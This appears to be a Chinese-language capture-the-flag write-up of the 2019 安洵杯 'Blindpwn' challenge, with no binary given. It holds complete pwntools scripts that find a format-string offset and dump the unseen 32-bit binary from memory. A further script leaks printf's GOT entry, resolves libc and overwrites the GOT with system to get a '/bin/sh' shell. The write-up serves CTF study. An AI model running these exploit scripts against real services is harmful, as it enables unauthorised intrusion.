Blindpwn-32位有偏移

发表于 2021-01-16 分类于 Challenge， 2019， 安洵杯， Pwn
Challenge | 2019 | 安洵杯 | Pwn | Blindpwn-32位有偏移

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/6912

题目考点

解题思路

首先没有题目,只有端口,连接上去,测试,发现,存在格式化字符串漏洞

然后同时也没有任何数据的回显,只是不断的重复循环,输出你输入的内容

这里需要注意的是,可以通过输入空格或者特殊字符来初步猜测的判断,输入函数是gets还是scanf还是read...因为这三者对于输入的数据的读取是不同的,就比如我本次输入1,它却显示了两个换行,那么这个很可能是read函数用来接收输入,但这里只能是猜测

那么,开始思考,我们目前没有任何有用的信息,该如何获取到有用的信息

这里就需要对于pwn进行盲打,dump整个程序下来...

然后根据dump下来的程序来寻找程序的地址,进行分析

同时因为上面输入%p 返回的是4个字节的数据,所以是32位程序

dump程序

计算偏移

dump程序需要首先知道格式化字符串函数的偏移

所以step 1--计算偏移

由于不喜欢手算,直接pwntools跑

```
#-*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level='debug'
context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "justtest"
libcFileName = ""
ip = "0.0.0.0"
port = 10001

Debug = 1
if Debug:
    io = process(elfFileName)
else:
    io = remote(ip,port)

# calculate the offset
def exec_fmt(payload):
    io.recvuntil("\nPlease tell me:")
    io.sendline(payload)
    info = io.recvuntil("\n")
    return info


auto = FmtStr(exec_fmt)
offset = auto.offset
print "offset is "+ str(offset)

io.interactive()

'''
[*] Found format string offset: 8
offset is 8
'''
```

我们这里要发现一个问题,就是这个计算偏移下来,存在一个问题就是,我们要保证偏移量足够,就一定要前面增加一个字节的垃圾数据...嘿嘿,这个出题思路很骚...

那么开始快乐的dump程序

dump代码编写

如果以文件尾作为dump结束的话,在挂载程序的时候可能出现无限泄露,可以考虑加上范围限制,这个要根据具体的情况考虑,这里暂时就无限泄露,ctrl+C断开

dump代码编写,其实有点头疼,因为其实对于数据处理来容易出现失误(输出的数据的尾巴,需要处理掉),网上有些博客上提供的dump脚本,有些都是错的...这里整理各位大佬的脚本,最后写出了一个比较合理的脚本

dump需要注意前面输出的内容,9个字节的Repeater:

```
#-*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']

p = process("./pwn1")
f = open("pwn1bin", "ab+")

begin = 0x8048000
offset = 0
#i=0
p.recvuntil('Please tell me:')
while True:#i<13:#True:#
    addr = begin + offset
    p.sendline("x%10$saaa" + p32(addr))
    try:
        #info = p.recv(4)

        info = p.recvuntil('aaa',drop=True)[10:]
        remain = p.recvrepeat(0.2)#weiba
        print info.encode("hex")
        print len(info)
    except EOFError:
        print "offset is " + str(offset)
        break
    if len(info)==0:
        print "info is null"
        offset += 1
        f.write('\x00')
    else:
        info += "\x00"
        offset += len(info)
        f.write(info)
        f.flush()
    #i = i + 1
    print "offset is " + str(offset)
f.close()
p.close()
```

前面可以先利用我设计的i来测试基地址,因为我们根本不知道这个程序的保护机制,所以我们没法知道是否开启了ASLR,那么测试基地址重要性,就来了,32位程序的基地址是0x8048000,如果在此地址上面,返回的数据的确是0x7F454C46,那么就是没有开启ASLR,如果开启了,那就需要爆破搜索到这些字符,也能同样的dump下来

然后其中有段`remain = p.recvrepeat(0.2)#tail`这里很重要,就是为了读取前面截断数据后面输出的垃圾数据,这也是很多博客提供的脚本没法dump的原因...(不知道他们是如何dump的,可能有什么其它的骚操作?)

还有一个就是,读取的所有null,都应该转换为`\x00`,这样子就可以把scanf读取数据00截断的问题,给解决了

dump程序的分析

dump下来的程序是没法运行(没有SHT,dump下来的时候是通过EOF来进行判断结尾的,但是SHT的偏移是0x18dc但是程序运行的时候,是不会把这些数据载入到地址上的)

我们直接ida打开发现,还是可以分析的,很开心的

还行,就是plt/got表显示的残缺不全...但是其实还是可以找得到的...

如果对于ida逆向分析程序熟悉的,应该知道,start函数的倒数第二行的loc_804856B就是main函数的地址

那么双击点击进入,N 改名...发现出来的是前面那段输出的代码,其中后面的循环输出代码,没有出来,那么取消改名,nop掉一些ida无法解析的代码,改下面那段汇编代码的名字为main,ok

F5,快乐...

程序整体结构完全展示出来了,就差分析函数的作用了...这边直接根据左下角的导入函数列表来分析使用的函数功能就完事了

改名字后,整个结构其实是这样子的

OK,完全简单了...就是简单的格式化字符串漏洞了,写exp...

exp

printf函数的地址,直接利用plt/got的知识,寻找到就行...

- *leak address*
- *use LibcSearcher to find libc*
- *getshell*

写exp的时候注意,system函数是可以通过增加分号,来执行多条命令的

```
#-*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
Debug = 1
if Debug:
    io = process("./pwn1")
else:
    io = remote('',)

#dump bin can not be loaded
#but can analysis
offset = 8
#step 1 leak the printf_got
#maybe plt 08048400
io.recvuntil('Please tell me:')
printf_got = 0x0804A014
payload_leak = 'x' + p32(printf_got) + "%8$s"
io.send(payload_leak)
libc_printf = u32(io.recv()[14:18])
print hex(libc_printf)

#step 2 find the libc
libc = LibcSearcher('printf',libc_printf)
libcbase = libc_printf - libc.dump('printf')
system_addr = libcbase + libc.dump('system')

#step 3 cover the address
payload_cover = 'x' + fmtstr_payload(8,{printf_got : system_addr},numbwritten=10)
io.sendline(payload_cover)
io.recv()

#step 4 get shell
io.sendline(";/bin/sh")

io.interactive()
```

参考链接

- *陌小生*
- *默小西*
- *ctf-wiki*

 # Challenge # Pwn # 2019 # 安洵杯